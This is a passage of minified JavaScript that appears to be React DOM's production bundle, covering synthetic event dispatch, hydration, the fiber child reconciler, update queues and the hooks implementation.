e;case"keydown":case"keyup":m=Ob;break;case"focusin":w="focus",m=sd;break;case"focusout":w="blur",m=sd;break;case"beforeblur":case"afterblur":m=sd;break;case"click":if(n.button===2)break e;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":m=gm;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":m=wb;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":m=Mb;break;case My:case Dy:case jy:m=Cb;break;case Iy:m=jb;break;case"scroll":m=gb;break;case"wheel":m=zb;break;case"copy":case"cut":case"paste":m=Eb;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":m=wm}var g=(t&4)!==0,x=!g&&e==="scroll",v=g?d!==null?d+"Capture":null:d;g=[];for(var p=u,y;p!==null;){y=p;var C=y.stateNode;if(y.tag===5&&C!==null&&(y=C,v!==null&&(C=Na(p,v),C!=null&&g.push(Ia(p,C,y)))),x)break;p=p.return}0<g.length&&(d=new m(d,w,null,n,c),f.push({event:d,listeners:g}))}}if(!(t&7)){e:{if(d=e==="mouseover"||e==="pointerover",m=e==="mouseout"||e==="pointerout",d&&n!==Jd&&(w=n.relatedTarget||n.fromElement)&&(Fo(w)||w[Sr]))break e;if((m||d)&&(d=c.window===c?c:(d=c.ownerDocument)?d.defaultView||d.parentWindow:window,m?(w=n.relatedTarget||n.toElement,m=u,w=w?Fo(w):null,w!==null&&(x=fi(w),w!==x||w.tag!==5&&w.tag!==6)&&(w=null)):(m=null,w=u),m!==w)){if(g=gm,C="onMouseLeave",v="onMouseEnter",p="mouse",(e==="pointerout"||e==="pointerover")&&(g=wm,C="onPointerLeave",v="onPointerEnter",p="pointer"),x=m==null?d:Mi(m),y=w==null?d:Mi(w),d=new g(C,p+"leave",m,n,c),d.target=x,d.relatedTarget=y,C=null,Fo(c)===u&&(g=new g(v,p+"enter",w,n,c),g.target=y,g.relatedTarget=x,C=g),x=C,m&&w)t:{for(g=m,v=w,p=0,y=g;y;y=Si(y))p++;for(y=0,C=v;C;C=Si(C))y++;for(;0<p-y;)g=Si(g),p--;for(;0<y-p;)v=Si(v),y--;for(;p--;){if(g===v||v!==null&&g===v.alternate)break t;g=Si(g),v=Si(v)}g=null}else g=null;m!==null&&Nm(f,d,m,g,!1),w!==null&&x!==null&&Nm(f,x,w,g,!0)}}e:{if(d=u?Mi(u):window,m=d.nodeName&&d.nodeName.toLowerCase(),m==="select"||m==="input"&&d.type==="file")var _=Wb;else if(Cm(d))if(Ty)_=Yb;else{_=Qb;var b=Zb}else(m=d.nodeName)&&m.toLowerCase()==="input"&&(d.type==="checkbox"||d.type==="radio")&&(_=Kb);if(_&&(_=_(e,u))){Py(f,_,n,c);break e}b&&b(e,d,u),e==="focusout"&&(b=d._wrapperState)&&b.controlled&&d.type==="number"&&Kd(d,"number",d.value)}switch(b=u?Mi(u):window,e){case"focusin":(Cm(b)||b.contentEditable==="true")&&(Li=b,af=u,ba=null);break;case"focusout":ba=af=Li=null;break;case"mousedown":lf=!0;break;case"contextmenu":case"mouseup":case"dragend":lf=!1,Rm(f,n,c);break;case"selectionchange":if(Xb)break;case"keydown":case"keyup":Rm(f,n,c)}var P;if(Ah)e:{switch(e){case"compositionstart":var T="onCompositionStart";break e;case"compositionend":T="onCompositionEnd";break e;case"compositionupdate":T="onCompositionUpdate";break e}T=void 0}else Oi?ky(e,n)&&(T="onCompositionEnd"):e==="keydown"&&n.keyCode===229&&(T="onCompositionStart");T&&(_y&&n.locale!=="ko"&&(Oi||T!=="onCompositionStart"?T==="onCompositionEnd"&&Oi&&(P=Ey()):(ao=c,Nh="value"in ao?ao.value:ao.textContent,Oi=!0)),b=Au(u,T),0<b.length&&(T=new ym(T,e,null,n,c),f.push({event:T,listeners:b}),P?T.data=P:(P=Ry(n),P!==null&&(T.data=P)))),(P=$b?Ub(e,n):Bb(e,n))&&(u=Au(u,"onBeforeInput"),0<u.length&&(c=new ym("onBeforeInput","beforeinput",null,n,c),f.push({event:c,listeners:u}),c.data=P))}Fy(f,t)})}function Ia(e,t,n){return{instance:e,listener:t,currentTarget:n}}function Au(e,t){for(var n=t+"Capture",r=[];e!==null;){var o=e,i=o.stateNode;o.tag===5&&i!==null&&(o=i,i=Na(e,n),i!=null&&r.unshift(Ia(e,i,o)),i=Na(e,t),i!=null&&r.push(Ia(e,i,o))),e=e.return}return r}function Si(e){if(e===null)return null;do e=e.return;while(e&&e.tag!==5);return e||null}function Nm(e,t,n,r,o){for(var i=t._reactName,s=[];n!==null&&n!==r;){var a=n,l=a.alternate,u=a.stateNode;if(l!==null&&l===r)break;a.tag===5&&u!==null&&(a=u,o?(l=Na(n,i),l!=null&&s.unshift(Ia(n,l,a))):o||(l=Na(n,i),l!=null&&s.push(Ia(n,l,a)))),n=n.return}s.length!==0&&e.push({event:t,listeners:s})}var nC=/\r\n?/g,rC=/\u0000|\uFFFD/g;function Om(e){return(typeof e=="string"?e:""+e).replace(nC,`
`).replace(rC,"")}function Bl(e,t,n){if(t=Om(t),Om(e)!==t&&n)throw Error(I(425))}function Mu(){}var uf=null,cf=null;function df(e,t){return e==="textarea"||e==="noscript"||typeof t.children=="string"||typeof t.children=="number"||typeof t.dangerouslySetInnerHTML=="object"&&t.dangerouslySetInnerHTML!==null&&t.dangerouslySetInnerHTML.__html!=null}var ff=typeof setTimeout=="function"?setTimeout:void 0,oC=typeof clearTimeout=="function"?clearTimeout:void 0,Lm=typeof Promise=="function"?Promise:void 0,iC=typeof queueMicrotask=="function"?queueMicrotask:typeof Lm<"u"?function(e){return Lm.resolve(null).then(e).catch(sC)}:ff;function sC(e){setTimeout(function(){throw e})}function pd(e,t){var n=t,r=0;do{var o=n.nextSibling;if(e.removeChild(n),o&&o.nodeType===8)if(n=o.data,n==="/$"){if(r===0){e.removeChild(o),Aa(t);return}r--}else n!=="$"&&n!=="$?"&&n!=="$!"||r++;n=o}while(n);Aa(t)}function ho(e){for(;e!=null;e=e.nextSibling){var t=e.nodeType;if(t===1||t===3)break;if(t===8){if(t=e.data,t==="$"||t==="$!"||t==="$?")break;if(t==="/$")return null}}return e}function Am(e){e=e.previousSibling;for(var t=0;e;){if(e.nodeType===8){var n=e.data;if(n==="$"||n==="$!"||n==="$?"){if(t===0)return e;t--}else n==="/$"&&t++}e=e.previousSibling}return null}var Is=Math.random().toString(36).slice(2),Gn="__reactFiber$"+Is,za="__reactProps$"+Is,Sr="__reactContainer$"+Is,hf="__reactEvents$"+Is,aC="__reactListeners$"+Is,lC="__reactHandles$"+Is;function Fo(e){var t=e[Gn];if(t)return t;for(var n=e.parentNode;n;){if(t=n[Sr]||n[Gn]){if(n=t.alternate,t.child!==null||n!==null&&n.child!==null)for(e=Am(e);e!==null;){if(n=e[Gn])return n;e=Am(e)}return t}e=n,n=e.parentNode}return null}function bl(e){return e=e[Gn]||e[Sr],!e||e.tag!==5&&e.tag!==6&&e.tag!==13&&e.tag!==3?null:e}function Mi(e){if(e.tag===5||e.tag===6)return e.stateNode;throw Error(I(33))}function wc(e){return e[za]||null}var pf=[],Di=-1;function No(e){return{current:e}}function Fe(e){0>Di||(e.current=pf[Di],pf[Di]=null,Di--)}function je(e,t){Di++,pf[Di]=e.current,e.current=t}var wo={},Et=No(wo),Vt=No(!1),ti=wo;function ws(e,t){var n=e.type.contextTypes;if(!n)return wo;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var o={},i;for(i in n)o[i]=t[i];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=o),o}function Ht(e){return e=e.childContextTypes,e!=null}function Du(){Fe(Vt),Fe(Et)}function Mm(e,t,n){if(Et.current!==wo)throw Error(I(168));je(Et,t),je(Vt,n)}function Uy(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var o in r)if(!(o in t))throw Error(I(108,Z2(e)||"Unknown",o));return Ke({},n,r)}function ju(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||wo,ti=Et.current,je(Et,e),je(Vt,Vt.current),!0}function Dm(e,t,n){var r=e.stateNode;if(!r)throw Error(I(169));n?(e=Uy(e,t,ti),r.__reactInternalMemoizedMergedChildContext=e,Fe(Vt),Fe(Et),je(Et,e)):Fe(Vt),je(Vt,n)}var pr=null,xc=!1,md=!1;function By(e){pr===null?pr=[e]:pr.push(e)}function uC(e){xc=!0,By(e)}function Oo(){if(!md&&pr!==null){md=!0;var e=0,t=Oe;try{var n=pr;for(Oe=1;e<n.length;e++){var r=n[e];do r=r(!0);while(r!==null)}pr=null,xc=!1}catch(o){throw pr!==null&&(pr=pr.slice(e+1)),hy(kh,Oo),o}finally{Oe=t,md=!1}}return null}var ji=[],Ii=0,Iu=null,zu=0,hn=[],pn=0,ni=null,gr=1,yr="";function Do(e,t){ji[Ii++]=zu,ji[Ii++]=Iu,Iu=e,zu=t}function Vy(e,t,n){hn[pn++]=gr,hn[pn++]=yr,hn[pn++]=ni,ni=e;var r=gr;e=yr;var o=32-Ln(r)-1;r&=~(1<<o),n+=1;var i=32-Ln(t)+o;if(30<i){var s=o-o%5;i=(r&(1<<s)-1).toString(32),r>>=s,o-=s,gr=1<<32-Ln(t)+o|n<<o|r,yr=i+e}else gr=1<<i|n<<o|r,yr=e}function Dh(e){e.return!==null&&(Do(e,1),Vy(e,1,0))}function jh(e){for(;e===Iu;)Iu=ji[--Ii],ji[Ii]=null,zu=ji[--Ii],ji[Ii]=null;for(;e===ni;)ni=hn[--pn],hn[pn]=null,yr=hn[--pn],hn[pn]=null,gr=hn[--pn],hn[pn]=null}var en=null,Jt=null,Ue=!1,Tn=null;function Hy(e,t){var n=mn(5,null,null,0);n.elementType="DELETED",n.stateNode=t,n.return=e,t=e.deletions,t===null?(e.deletions=[n],e.flags|=16):t.push(n)}function jm(e,t){switch(e.tag){case 5:var n=e.type;return t=t.nodeType!==1||n.toLowerCase()!==t.nodeName.toLowerCase()?null:t,t!==null?(e.stateNode=t,en=e,Jt=ho(t.firstChild),!0):!1;case 6:return t=e.pendingProps===""||t.nodeType!==3?null:t,t!==null?(e.stateNode=t,en=e,Jt=null,!0):!1;case 13:return t=t.nodeType!==8?null:t,t!==null?(n=ni!==null?{id:gr,overflow:yr}:null,e.memoizedState={dehydrated:t,treeContext:n,retryLane:1073741824},n=mn(18,null,null,0),n.stateNode=t,n.return=e,e.child=n,en=e,Jt=null,!0):!1;default:return!1}}function mf(e){return(e.mode&1)!==0&&(e.flags&128)===0}function vf(e){if(Ue){var t=Jt;if(t){var n=t;if(!jm(e,t)){if(mf(e))throw Error(I(418));t=ho(n.nextSibling);var r=en;t&&jm(e,t)?Hy(r,n):(e.flags=e.flags&-4097|2,Ue=!1,en=e)}}else{if(mf(e))throw Error(I(418));e.flags=e.flags&-4097|2,Ue=!1,en=e}}}function Im(e){for(e=e.return;e!==null&&e.tag!==5&&e.tag!==3&&e.tag!==13;)e=e.return;en=e}function Vl(e){if(e!==en)return!1;if(!Ue)return Im(e),Ue=!0,!1;var t;if((t=e.tag!==3)&&!(t=e.tag!==5)&&(t=e.type,t=t!=="head"&&t!=="body"&&!df(e.type,e.memoizedProps)),t&&(t=Jt)){if(mf(e))throw Wy(),Error(I(418));for(;t;)Hy(e,t),t=ho(t.nextSibling)}if(Im(e),e.tag===13){if(e=e.memoizedState,e=e!==null?e.dehydrated:null,!e)throw Error(I(317));e:{for(e=e.nextSibling,t=0;e;){if(e.nodeType===8){var n=e.data;if(n==="/$"){if(t===0){Jt=ho(e.nextSibling);break e}t--}else n!=="$"&&n!=="$!"&&n!=="$?"||t++}e=e.nextSibling}Jt=null}}else Jt=en?ho(e.stateNode.nextSibling):null;return!0}function Wy(){for(var e=Jt;e;)e=ho(e.nextSibling)}function xs(){Jt=en=null,Ue=!1}function Ih(e){Tn===null?Tn=[e]:Tn.push(e)}var cC=Nr.ReactCurrentBatchConfig;function ea(e,t,n){if(e=n.ref,e!==null&&typeof e!="function"&&typeof e!="object"){if(n._owner){if(n=n._owner,n){if(n.tag!==1)throw Error(I(309));var r=n.stateNode}if(!r)throw Error(I(147,e));var o=r,i=""+e;return t!==null&&t.ref!==null&&typeof t.ref=="function"&&t.ref._stringRef===i?t.ref:(t=function(s){var a=o.refs;s===null?delete a[i]:a[i]=s},t._stringRef=i,t)}if(typeof e!="string")throw Error(I(284));if(!n._owner)throw Error(I(290,e))}return e}function Hl(e,t){throw e=Object.prototype.toString.call(t),Error(I(31,e==="[object Object]"?"object with keys {"+Object.keys(t).join(", ")+"}":e))}function zm(e){var t=e._init;return t(e._payload)}function Zy(e){function t(v,p){if(e){var y=v.deletions;y===null?(v.deletions=[p],v.flags|=16):y.push(p)}}function n(v,p){if(!e)return null;for(;p!==null;)t(v,p),p=p.sibling;return null}function r(v,p){for(v=new Map;p!==null;)p.key!==null?v.set(p.key,p):v.set(p.index,p),p=p.sibling;return v}function o(v,p){return v=go(v,p),v.index=0,v.sibling=null,v}function i(v,p,y){return v.index=y,e?(y=v.alternate,y!==null?(y=y.index,y<p?(v.flags|=2,p):y):(v.flags|=2,p)):(v.flags|=1048576,p)}function s(v){return e&&v.alternate===null&&(v.flags|=2),v}function a(v,p,y,C){return p===null||p.tag!==6?(p=Cd(y,v.mode,C),p.return=v,p):(p=o(p,y),p.return=v,p)}function l(v,p,y,C){var _=y.type;return _===Ni?c(v,p,y.props.children,C,y.key):p!==null&&(p.elementType===_||typeof _=="object"&&_!==null&&_.$$typeof===Zr&&zm(_)===p.type)?(C=o(p,y.props),C.ref=ea(v,p,y),C.return=v,C):(C=vu(y.type,y.key,y.props,null,v.mode,C),C.ref=ea(v,p,y),C.return=v,C)}function u(v,p,y,C){return p===null||p.tag!==4||p.stateNode.containerInfo!==y.containerInfo||p.stateNode.implementation!==y.implementation?(p=Sd(y,v.mode,C),p.return=v,p):(p=o(p,y.children||[]),p.return=v,p)}function c(v,p,y,C,_){return p===null||p.tag!==7?(p=Jo(y,v.mode,C,_),p.return=v,p):(p=o(p,y),p.return=v,p)}function f(v,p,y){if(typeof p=="string"&&p!==""||typeof p=="number")return p=Cd(""+p,v.mode,y),p.return=v,p;if(typeof p=="object"&&p!==null){switch(p.$$typeof){case Al:return y=vu(p.type,p.key,p.props,null,v.mode,y),y.ref=ea(v,null,p),y.return=v,y;case Ti:return p=Sd(p,v.mode,y),p.return=v,p;case Zr:var C=p._init;return f(v,C(p._payload),y)}if(ca(p)||Ys(p))return p=Jo(p,v.mode,y,null),p.return=v,p;Hl(v,p)}return null}function d(v,p,y,C){var _=p!==null?p.key:null;if(typeof y=="string"&&y!==""||typeof y=="number")return _!==null?null:a(v,p,""+y,C);if(typeof y=="object"&&y!==null){switch(y.$$typeof){case Al:return y.key===_?l(v,p,y,C):null;case Ti:return y.key===_?u(v,p,y,C):null;case Zr:return _=y._init,d(v,p,_(y._payload),C)}if(ca(y)||Ys(y))return _!==null?null:c(v,p,y,C,null);Hl(v,y)}return null}function m(v,p,y,C,_){if(typeof C=="string"&&C!==""||typeof C=="number")return v=v.get(y)||null,a(p,v,""+C,_);if(typeof C=="object"&&C!==null){switch(C.$$typeof){case Al:return v=v.get(C.key===null?y:C.key)||null,l(p,v,C,_);case Ti:return v=v.get(C.key===null?y:C.key)||null,u(p,v,C,_);case Zr:var b=C._init;return m(v,p,y,b(C._payload),_)}if(ca(C)||Ys(C))return v=v.get(y)||null,c(p,v,C,_,null);Hl(p,C)}return null}function w(v,p,y,C){for(var _=null,b=null,P=p,T=p=0,O=null;P!==null&&T<y.length;T++){P.index>T?(O=P,P=null):O=P.sibling;var M=d(v,P,y[T],C);if(M===null){P===null&&(P=O);break}e&&P&&M.alternate===null&&t(v,P),p=i(M,p,T),b===null?_=M:b.sibling=M,b=M,P=O}if(T===y.length)return n(v,P),Ue&&Do(v,T),_;if(P===null){for(;T<y.length;T++)P=f(v,y[T],C),P!==null&&(p=i(P,p,T),b===null?_=P:b.sibling=P,b=P);return Ue&&Do(v,T),_}for(P=r(v,P);T<y.length;T++)O=m(P,v,T,y[T],C),O!==null&&(e&&O.alternate!==null&&P.delete(O.key===null?T:O.key),p=i(O,p,T),b===null?_=O:b.sibling=O,b=O);return e&&P.forEach(function($){return t(v,$)}),Ue&&Do(v,T),_}function g(v,p,y,C){var _=Ys(y);if(typeof _!="function")throw Error(I(150));if(y=_.call(y),y==null)throw Error(I(151));for(var b=_=null,P=p,T=p=0,O=null,M=y.next();P!==null&&!M.done;T++,M=y.next()){P.index>T?(O=P,P=null):O=P.sibling;var $=d(v,P,M.value,C);if($===null){P===null&&(P=O);break}e&&P&&$.alternate===null&&t(v,P),p=i($,p,T),b===null?_=$:b.sibling=$,b=$,P=O}if(M.done)return n(v,P),Ue&&Do(v,T),_;if(P===null){for(;!M.done;T++,M=y.next())M=f(v,M.value,C),M!==null&&(p=i(M,p,T),b===null?_=M:b.sibling=M,b=M);return Ue&&Do(v,T),_}for(P=r(v,P);!M.done;T++,M=y.next())M=m(P,v,T,M.value,C),M!==null&&(e&&M.alternate!==null&&P.delete(M.key===null?T:M.key),p=i(M,p,T),b===null?_=M:b.sibling=M,b=M);return e&&P.forEach(function(B){return t(v,B)}),Ue&&Do(v,T),_}function x(v,p,y,C){if(typeof y=="object"&&y!==null&&y.type===Ni&&y.key===null&&(y=y.props.children),typeof y=="object"&&y!==null){switch(y.$$typeof){case Al:e:{for(var _=y.key,b=p;b!==null;){if(b.key===_){if(_=y.type,_===Ni){if(b.tag===7){n(v,b.sibling),p=o(b,y.props.children),p.return=v,v=p;break e}}else if(b.elementType===_||typeof _=="object"&&_!==null&&_.$$typeof===Zr&&zm(_)===b.type){n(v,b.sibling),p=o(b,y.props),p.ref=ea(v,b,y),p.return=v,v=p;break e}n(v,b);break}else t(v,b);b=b.sibling}y.type===Ni?(p=Jo(y.props.children,v.mode,C,y.key),p.return=v,v=p):(C=vu(y.type,y.key,y.props,null,v.mode,C),C.ref=ea(v,p,y),C.return=v,v=C)}return s(v);case Ti:e:{for(b=y.key;p!==null;){if(p.key===b)if(p.tag===4&&p.stateNode.containerInfo===y.containerInfo&&p.stateNode.implementation===y.implementation){n(v,p.sibling),p=o(p,y.children||[]),p.return=v,v=p;break e}else{n(v,p);break}else t(v,p);p=p.sibling}p=Sd(y,v.mode,C),p.return=v,v=p}return s(v);case Zr:return b=y._init,x(v,p,b(y._payload),C)}if(ca(y))return w(v,p,y,C);if(Ys(y))return g(v,p,y,C);Hl(v,y)}return typeof y=="string"&&y!==""||typeof y=="number"?(y=""+y,p!==null&&p.tag===6?(n(v,p.sibling),p=o(p,y),p.return=v,v=p):(n(v,p),p=Cd(y,v.mode,C),p.return=v,v=p),s(v)):n(v,p)}return x}var bs=Zy(!0),Qy=Zy(!1),Fu=No(null),$u=null,zi=null,zh=null;function Fh(){zh=zi=$u=null}function $h(e){var t=Fu.current;Fe(Fu),e._currentValue=t}function gf(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Zi(e,t){$u=e,zh=zi=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Bt=!0),e.firstContext=null)}function gn(e){var t=e._currentValue;if(zh!==e)if(e={context:e,memoizedValue:t,next:null},zi===null){if($u===null)throw Error(I(308));zi=e,$u.dependencies={lanes:0,firstContext:e}}else zi=zi.next=e;return t}var $o=null;function Uh(e){$o===null?$o=[e]:$o.push(e)}function Ky(e,t,n,r){var o=t.interleaved;return o===null?(n.next=n,Uh(t)):(n.next=o.next,o.next=n),t.interleaved=n,Er(e,r)}function Er(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var Qr=!1;function Bh(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Yy(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function wr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function po(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Se&2){var o=r.pending;return o===null?t.next=t:(t.next=o.next,o.next=t),r.pending=t,Er(e,n)}return o=r.interleaved,o===null?(t.next=t,Uh(r)):(t.next=o.next,o.next=t),r.interleaved=t,Er(e,n)}function cu(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Rh(e,n)}}function Fm(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var o=null,i=null;if(n=n.firstBaseUpdate,n!==null){do{var s={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};i===null?o=i=s:i=i.next=s,n=n.next}while(n!==null);i===null?o=i=t:i=i.next=t}else o=i=t;n={baseState:r.baseState,firstBaseUpdate:o,lastBaseUpdate:i,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Uu(e,t,n,r){var o=e.updateQueue;Qr=!1;var i=o.firstBaseUpdate,s=o.lastBaseUpdate,a=o.shared.pending;if(a!==null){o.shared.pending=null;var l=a,u=l.next;l.next=null,s===null?i=u:s.next=u,s=l;var c=e.alternate;c!==null&&(c=c.updateQueue,a=c.lastBaseUpdate,a!==s&&(a===null?c.firstBaseUpdate=u:a.next=u,c.lastBaseUpdate=l))}if(i!==null){var f=o.baseState;s=0,c=u=l=null,a=i;do{var d=a.lane,m=a.eventTime;if((r&d)===d){c!==null&&(c=c.next={eventTime:m,lane:0,tag:a.tag,payload:a.payload,callback:a.callback,next:null});e:{var w=e,g=a;switch(d=t,m=n,g.tag){case 1:if(w=g.payload,typeof w=="function"){f=w.call(m,f,d);break e}f=w;break e;case 3:w.flags=w.flags&-65537|128;case 0:if(w=g.payload,d=typeof w=="function"?w.call(m,f,d):w,d==null)break e;f=Ke({},f,d);break e;case 2:Qr=!0}}a.callback!==null&&a.lane!==0&&(e.flags|=64,d=o.effects,d===null?o.effects=[a]:d.push(a))}else m={eventTime:m,lane:d,tag:a.tag,payload:a.payload,callback:a.callback,next:null},c===null?(u=c=m,l=f):c=c.next=m,s|=d;if(a=a.next,a===null){if(a=o.shared.pending,a===null)break;d=a,a=d.next,d.next=null,o.lastBaseUpdate=d,o.shared.pending=null}}while(!0);if(c===null&&(l=f),o.baseState=l,o.firstBaseUpdate=u,o.lastBaseUpdate=c,t=o.shared.interleaved,t!==null){o=t;do s|=o.lane,o=o.next;while(o!==t)}else i===null&&(o.shared.lanes=0);oi|=s,e.lanes=s,e.memoizedState=f}}function $m(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;t<e.length;t++){var r=e[t],o=r.callback;if(o!==null){if(r.callback=null,r=n,typeof o!="function")throw Error(I(191,o));o.call(r)}}}var Cl={},er=No(Cl),Fa=No(Cl),$a=No(Cl);function Uo(e){if(e===Cl)throw Error(I(174));return e}function Vh(e,t){switch(je($a,t),je(Fa,e),je(er,Cl),e=t.nodeType,e){case 9:case 11:t=(t=t.documentElement)?t.namespaceURI:Gd(null,"");break;default:e=e===8?t.parentNode:t,t=e.namespaceURI||null,e=e.tagName,t=Gd(t,e)}Fe(er),je(er,t)}function Cs(){Fe(er),Fe(Fa),Fe($a)}function Gy(e){Uo($a.current);var t=Uo(er.current),n=Gd(t,e.type);t!==n&&(je(Fa,e),je(er,n))}function Hh(e){Fa.current===e&&(Fe(er),Fe(Fa))}var He=No(0);function Bu(e){for(var t=e;t!==null;){if(t.tag===13){var n=t.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||n.data==="$?"||n.data==="$!"))return t}else if(t.tag===19&&t.memoizedProps.revealOrder!==void 0){if(t.flags&128)return t}else if(t.child!==null){t.child.return=t,t=t.child;continue}if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}return null}var vd=[];function Wh(){for(var e=0;e<vd.length;e++)vd[e]._workInProgressVersionPrimary=null;vd.length=0}var du=Nr.ReactCurrentDispatcher,gd=Nr.ReactCurrentBatchConfig,ri=0,Qe=null,st=null,ut=null,Vu=!1,Ca=!1,Ua=0,dC=0;function wt(){throw Error(I(321))}function Zh(e,t){if(t===null)return!1;for(var n=0;n<t.length&&n<e.length;n++)if(!Dn(e[n],t[n]))return!1;return!0}function Qh(e,t,n,r,o,i){if(ri=i,Qe=t,t.memoizedState=null,t.updateQueue=null,t.lanes=0,du.current=e===null||e.memoizedState===null?mC:vC,e=n(r,o),Ca){i=0;do{if(Ca=!1,Ua=0,25<=i)throw Error(I(301));i+=1,ut=st=null,t.updateQueue=null,du.current=gC,e=n(r,o)}while(Ca)}if(du.current=Hu,t=st!==null&&st.next!==null,ri=0,ut=st=Qe=null,Vu=!1,t)throw Error(I(300));return e}function Kh(){var e=Ua!==0;return Ua=0,e}function Hn(){var e={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return ut===null?Qe.memoizedState=ut=e:ut=ut.next=e,ut}function yn(){if(st===null){var e=Qe.alternate;e=e!==null?e.memoizedState:null}else e=st.next;var t=ut===null?Qe.memoizedState:ut.next;if(t!==null)ut=t,st=e;else{if(e===null)throw Error(I(310));st=e,e={memoizedState:st.memoizedState,baseState:st.baseState,baseQueue:st.baseQueue,queue:st.queue,next:null},ut===null?Qe.memoizedState=ut=e:ut=ut.next=e}return ut}function Ba(e,t){return typeof t=="function"?t(e):t}function yd(e){var t=yn(),n=t.queue;if(n===null)throw Error(I(311));n.lastRenderedReducer=e;var r=st,o=r.baseQueue,i=n.pending;if(i!==null){if(o!==null){var s=o.next;o.next=i.next,i.next=s}r.baseQueue=o=i,n.pending=null}if(o!==null){i=o.next,r=r.baseState;var a=s=null,l=null,u=i;do{var c=u.lane;if((ri&c)===c)l!==null&&(l=l.next={lane:0,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null}),r=u.hasEagerState?u.eagerState:e(r,u.action);else{var f={lane:c,action:u.action,hasEagerState:u.hasEagerState,eagerState:u.eagerState,next:null};l===null?(a=l=f,s=r):l=l.next=f,Qe.lanes|=c,oi|=c}u=u.next}while(u!==null&&u!==i);l===null?s=r:l.next=a,Dn(r,t.memoizedState)||(Bt=!0),t.memoizedState=r,t.baseState=s,t.baseQueue=l,n.lastRenderedState=r}if(e=n.interleaved,e!==null){o=e;do i=o.lane,Qe.lanes|=i,oi|=i,o=o.next;while(o!==e)}else o===null&&(n.lanes=0);return[t.memoizedState,n.dispatch]}function wd(e){var t=yn(),n=t.queue;if(n===null)throw Error(I(311));n.lastRenderedReducer=e;var r=n.dispatch,o=n.pending,i=t.memoizedState;if(o!==null){n.pending=null;var s=o=o.next;do i=e(i,s.action),s=s.next;while(s!==o);Dn(i,t.memoizedState)||(Bt=!0),t.memoizedState=i,t.baseQueue===null&&(t.baseState=i),n.lastRenderedState=i}return[i,r]}function qy(){}function Xy(e,t){var n=Qe,r=yn(),o=t(),i=!Dn(r.memoizedState,o);if(i&&(r.memoizedState=o,Bt=!0),r=r.queue,Yh(t0.bind(null,n,r,e),[e]),r.getSnapshot!==t||i||ut!==null&&ut.memoizedState.tag&1){if(n.flags|=2048,Va(9,e0.bind(null,n,r,o,t),void 0,null),ct===null)throw Error(I(349));ri&30||Jy(n,t,o)}return o}function Jy(e,t,n){e.flags|=16384,e={getSnapshot:t,value:n},t=Qe.updateQueue,t===null?(t={lastEffect:null,stores:null},Qe.updateQueue=t,t.stores=[e]):(n=t.stores,n===null?t.stores=[e]:n.push(e))}function e0(e,t,n,r){t.value=n,t.getSnapshot=r,n0(t)&&r0(e)}function t0(e,t,n){return n(function(){n0(t)&&r0(e)})}function n0(e){var t=e.getSnapshot;e=e.value;try{var n=t();return!Dn(e,n)}catch{return!0}}function r0(e){var t=Er(e,1);t!==null&&An(t,e,1,-1)}function Um(e){var t=Hn();return typeof e=="function"&&(e=e()),t.memoizedState=t.baseState=e,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:Ba,lastRenderedState:e},t.queue=e,e=e.dispatch=pC.bind(null,Qe,e),[t.memoizedState,e]}function Va(e,t,n,r){return e={tag:e,create:t,destroy:n,deps:r,next:null},t=Qe.updateQueue,t===null?(t={lastEffect:null,stores:null},Qe.updateQueue=t,t.lastEffect=e.next=e):(n=t.lastEffect,n===null?t.lastEffect=e.next=e:(r=n.next,n.next=e,e.next=r,t.lastEffect=e)),e}function o0(){return yn().memoizedState}function fu(e,t,n,r){var o=Hn();Qe.flags|=e,o.memoizedState=Va(1|t,n,void 0,r===void 0?null:r)}function bc(e,t,n,r){var o=yn();r=r===void 0?null:r;var i=void 0;if(st!==null){var s=st.memoizedState;if(i=s.destroy,r!==null&&Zh(r,s.deps)){o.memoizedState=Va(t,n,i,r);return}}Qe.flags|=e,o.memoizedState=Va(1|t,n,i,r)}function Bm(e,t){return fu(8390656,8,e,t)}function 